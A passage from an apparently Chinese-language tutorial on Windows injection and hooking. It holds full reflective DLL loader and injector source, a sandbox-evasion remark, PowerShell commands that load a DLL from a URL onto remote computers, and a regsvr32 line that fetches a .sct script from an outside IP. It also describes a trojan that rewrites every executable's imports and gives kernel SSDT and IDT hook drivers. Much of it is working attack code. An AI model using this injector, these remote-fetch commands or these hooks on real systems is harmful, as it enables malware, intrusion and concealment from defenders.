(LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } // get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP 5: process all of our images relocations... // 在被注入进程的内存空间中对DLL导入函数进行重定位 // calculate the base address delta and perform relocations (even if we load at desired image base) uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // uiValueB = the address of the relocation directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB = number of entries in this relocation block uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flip the words to get the instruction as expected dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanity chack we are processing a MOV instruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)( dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); } // get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } // STEP 6: call our images entry point // 通过函数指针调用被注入进程的内存空间中的DLL入口地址,这里使用的就是真实的DllMain地址,实际上可以使用一个修改了EntryPoint的DLL,这种DLL可以躲避sandbox的运行 // uiValueA = the VA of our newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA; } //===============================================================================================// #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } #endif //===============================================================================================//
2. Inject.c
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <stdlib.h> #include "LoadLibraryR.h" #pragma comment(lib,"Advapi32.lib") #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } // Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); // 将待注入的DLL通过ReflectiveLoader注入到目标进程空间中 hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
Relevant Link:
https://msdn.microsoft.com/en-us/library/64ez38eh.aspx https://github.com/stephenfewer/ReflectiveDLLInjection https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/ http://bobao.360.cn/learning/detail/3883.html http://bobao.360.cn/learning/detail/3881.html https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
19. 通过系统指令rundll32.exe执行DLL中指定函数
Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber
Relevant Link:
https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx
20. Reflective DLL Injection with PowerShell
基于powershel的dll反射注入和基于shellcode的dll反射植入原理都是一样的,区别在于执行的载体是powershell,在攻击时,系统上也会多出一个powershell进程,黑客利用漏洞获得指令的执行权限后,可以远程执行执行powershell script.
0x1:技术方案
# loads a DLL from a URL and runs it on a remote computer: Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER # loads a DLL from a file and runs it on a list of computers loaded from computers.txt: Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt) PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810
运行时,可能会遇到如下错误
windows默认禁止未签名过的pshell脚本
set-ExecutionPolicy RemoteSigned
Relevant Link:
http://blog.gentilkiwi.com/mimikatz https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
21. 修改exe文件自身导入表劫持dll【感染性木马】
0x1:技术原理
在恶意软件中,白帽子常用的做法大概是这样的
- 在初始投递的恶意样本中自带一个dll文件(可能是放在资源段中)
- 样本启动后将dll释放出来,然后复制到系统目录下(system32)
- 遍历C盘下所有的.exe文件
- 将每个.exe文件导入表中的kernel32.dll修改为黑客复制过来的dll文件,例如kernel32_hacked.dll
- 这样,系统中这些程序启动时,就会由系统自己的image loader去加载kernel32_hacked.dll,从而执行其中dllMain里面的恶意逻辑
- 为了保证系统中正常程序能正常启动运行,kernel32_hacked.dll必须拷贝原来kernel32.dll中的所有导出函数作为自己的导出函数,即做一次转发,起到Hook的逻辑
从技术原理上看,这种劫持技术和lpk劫持是一样的,区别在于lpk劫持不修改目标exe本身,而是"顺应环境",在目标exe的导入dll中挑选一个进行劫持,如果目标应用没有使用自定义的dll而只使用了原生的系统dll,则因为系统dll的反劫持保护(UnKnownDdlls)的关系,dll劫持就很难进行,遇到这种情况,就需要修改目标exe本身,对其导入的dll修改为黑客自己的dll,并在黑客放置的劫持dll中进行api转发。
0x2:方案缺点
这种dll劫持技术有一个缺点,就是不能对运行中的进程实施dll劫持,必须等目标进程重新启动或者重新加载到对应dll的时候才会触发劫持逻辑,如果目标进程是一个运行中的常驻进程,则就需要用到其他dll注入api hook技术
Relevant Link:
https://wenku.baidu.com/view/869b06758e9951e79b8927ee http://yonsm.net/aheadlib/ https://github.com/Yonsm/AheadLib http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396
22. 利用regsvr32 /s /i:http:注册dll组件
0x1:技术原理
Regsvr32命令是Windows中控件文件(如扩展名为DLL、OCX、CPL的文件)的注册和反注册工具。命令格式
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname /u 卸载安装的控件,卸载服务器注册 /s 注册成功后不显示操作成功信息框 /i 调用DllInstall函数并把可选参数[cmdline]传给它,当使用/u时用来卸载DLL /n 不调用DllRegisterServer,该参数必须和/i一起使用
黑客在获取RDP弱口令之后,常常使用at计划任务、wmi计划任务,或者psexec执行下列指令
regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll
wireshark抓包如下
Relevant Link:
http://carywu.blog.51cto.com/13185/9536 https://technet.microsoft.com/en-us/library/bb490985.aspx
23. windows SSDT hook - 内核态hook
0x1:技术原理
系统服务描述表(SSDT)也称为系统服务分发表,微软使用它来查找进入内核的系统调用,它通常不被第三方应用程序直接访问。内核代码只能被用户态的SYSCALL、SYSENTER、INT 0X2E指令来访问(这是软件中断)
typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; //这个参数是ssdt数组的基址,有了它,我们再给出具体函数的偏移,就能找到正确的函数地址了 unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; //这个是ssdt这个数组的最大值,也就是ssdt中函数的个数 unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
有了这个结构过后,按照偏移就可以找到想要Hook的函数的地址了。但是hook之前,需要修改内核保护,否则遇到蓝屏问题
void PageProtectOff() { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } }
Cro这个寄存器就保存了内核保护的标志位,用 10000h取反再和他进行与运算,就使标志位从1变成0了,就可以修改内核了
#include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() NTSTATUS PsLookupProcessByProcessId( IN HANDLE ProcessId, OUT PEPROCESS *Process ); __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef NTSTATUS(*MYNTOPENPROCESS)( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );//定义一个指针函数,用于下面对O_NtOpenProcess进行强制转换 ULONG O_NtOpenProcess; BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName) { NTSTATUS status; PEPROCESS process_obj; if(!MmIsAddressValid(str_ProtectObjName))//这个条件是用来判断目标进程名是否有效 { return FALSE; } if(ProcessId==0)//这个条件是用来排除System Idle Process进程的干扰 { return FALSE; } status=PsLookupProcessByProcessId(ProcessId,&process_obj);//这句用来获取目标进程的EPROCESS结构 if(!NT_SUCCESS(status)) { KdPrint(("error :%X---is s process ID:%d",status,ProcessId)); return FALSE; } if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//进行比较 { ObDereferenceObject(process_obj);//对象计数器减1,为了恢复对象管理器计数,便于回收 return TRUE; } ObDereferenceObject(process_obj); return FALSE; } NTSTATUS MyNtOpenProcess ( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId ) { //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174)); if(ProtectProcess(ClientId->UniqueProcess,"calc.exe")) { KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174)); return STATUS_UNSUCCESSFUL; } //KdPrint(("Hook Success!")); return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//处理完自己的任务后,调用原来的函数,让其它进程正常工作 DesiredAccess, ObjectAttributes, ClientId); } void PageProtectOff()//关闭页面保护 { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void PageProtectOn()//打开页面保护 { __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } } void UnHookSsdt() { PageProtectOff(); KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢复ssdt中原来的函数地址 PageProtectOn(); } NTSTATUS ssdt_hook() { O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//保存原来的函数地址 PageProtectOff(); //将原来ssdt中所要hook的函数地址换成我们自己的函数地址 KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess; PageProtectOn(); return STATUS_SUCCESS; } void DriverUnload(PDRIVER_OBJECT pDriverObject) { UnHookSsdt(); KdPrint(("Driver Unload Success !")); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath) { DbgPrint("This is My First Driver!"); ssdt_hook(); pDriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
Relevant Link:
http://bbs.pediy.com/thread-176477.htm http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html
24. windows IDT hook - 内核态hook
0x1:技术原理
现代的处理器实现了用硬件方式触发软件事件的中断,系统发送一条命令到硬件,硬件处理完事件后会向cpu发送中断信号,中断处理器。有时,驱动或者rootkit会利用中断来执行代码,驱动程序调用ioconnectinterrupt函数为特定中断注册一个处理程序,然后为这个中断指定一个中断服务例程(ISR),每当触发该中断时,系统都会调用注册的中断服务例程
中断描述表(IDT)存储着ISR的信息,IDT表的长度与地址是由CPU的IDTR寄存器来描述的。IDTR寄存器共有48位,高32位是IDT表的基地址,低16位是IDT的长度
typedef struct _IDTR{ USHORT IDT_limit; USHORT IDT_LOWbase; USHORT IDT_HIGbase; }IDTR,*PIDTR; IDTR idtr;
__asm SIDT idtr;
可以通过以上SIDT指令可以读取IDTR寄存器。然后通过MAKEWORD宏把高位与地位组合起来就可以获得IDT表的基地址了。
简单来说,IDT表是一张位于物理内存的线性表,共有256个表项。在32位模式下,每个IDT表项的长度是8个字节(64 bit),IDT表的总长度是2048字节
kd> r idtr idtr=8003f400 kd> r idtl idtl=000007ff
通过Windbg命令 r idtr、r idtl可以读取IDT表的基地址与边界
IDT表中每一项(4byte)也称为“门描述符”,之所以这样称呼,是因为IDT表项的基本用途就是引领CPU从一个空间到另一个空间去执行,每个表项好像是一个空间到另一个空间的大门。
IDT表中可以包含以下3种门描述符,它们本质都一样,只是代表了不同的业务场景
1. 任务门描述符: 用于任务切换,里面包含用于选择任务状态段(TSS)的段选择子。可以使用JMP或CALL指令通过任务门来切换到任务门所指向的任务,当CPU因为中断或异常转移到任务门时,也会切换到指定任务 2. 中断门描述符: 用于描述中断例程的入口 3. 陷阱门描述符: 用于描述异常处理例程的入口
0x2:示例代码
HOOK代码
#ifndef CXX_IDTHOOK_H # include "IDTHook.h" #endif #define WORD USHORT #define DWORD ULONG ULONG g_InterruptFun = 0; #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \ | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16)) NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity ); NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID ); PULONG GetKiProcessorBlock() { ULONG* KiProcessorBlock = 0; KeSetSystemAffinityThread(1); //使当前线程运行在第一个处理器上 _asm { push eax mov eax,FS:[0x34] add eax,20h mov eax,[eax] mov eax,[eax] mov eax,[eax+218h] mov KiProcessorBlock,eax pop eax } KeRevertToUserAffinityThread(); return KiProcessorBlock ; } void PageProtectOn() { __asm{//恢复内存保护 mov eax,cr0 or eax,10000h mov cr0,eax sti } } void PageProtectOff() { __asm{//去掉内存保护 cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void _stdcall FilterInterruptFun() { DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174); } _declspec(naked) void Fake_InterruptFun() { _asm{ pushad pushfd push fs push 0x30 pop fs call FilterInterruptFun; pop fs popfd popad jmp g_InterruptFun } }; NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString) { IDTR Idtr; PIDTENTRY pIdtEntry; ULONG ulIndex = 0 ; ULONG* KiProcessorBlock; pDriverObj->DriverUnload = DriverUnload; KiProcessorBlock = GetKiProcessorBlock(); DbgPrint("%X\r\n",KiProcessorBlock); while (KiProcessorBlock[ulIndex]) { pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ; DbgPrint("IDT Base:%X\r\n",pIdtEntry); g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset); DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun); PageProtectOff(); pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff); pIdtEntry[3].HiOffset = (unsigned short)((ULONG)Fake_InterruptFun >> 16); PageProtectOn(); ulIndex++; } return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj) { return; }
里面获得IDT表的时候没有通过寄存器IDTR进行读取,是因为对于多核CPU来说不一定只有一个IDT表,而通过IDTR来读取只能读到一份表,所以HOOK IDT的时候一定要注意多核问题
系统维护了一个全局的处理器数组KiProcessorBlock,其中每个元素对应于一个处理器的KPRCB 对象
Relevant Link:
http://www.cnblogs.com/zibility/p/5663825.html http://www.cnblogs.com/lanrenxinxin/p/4692013.html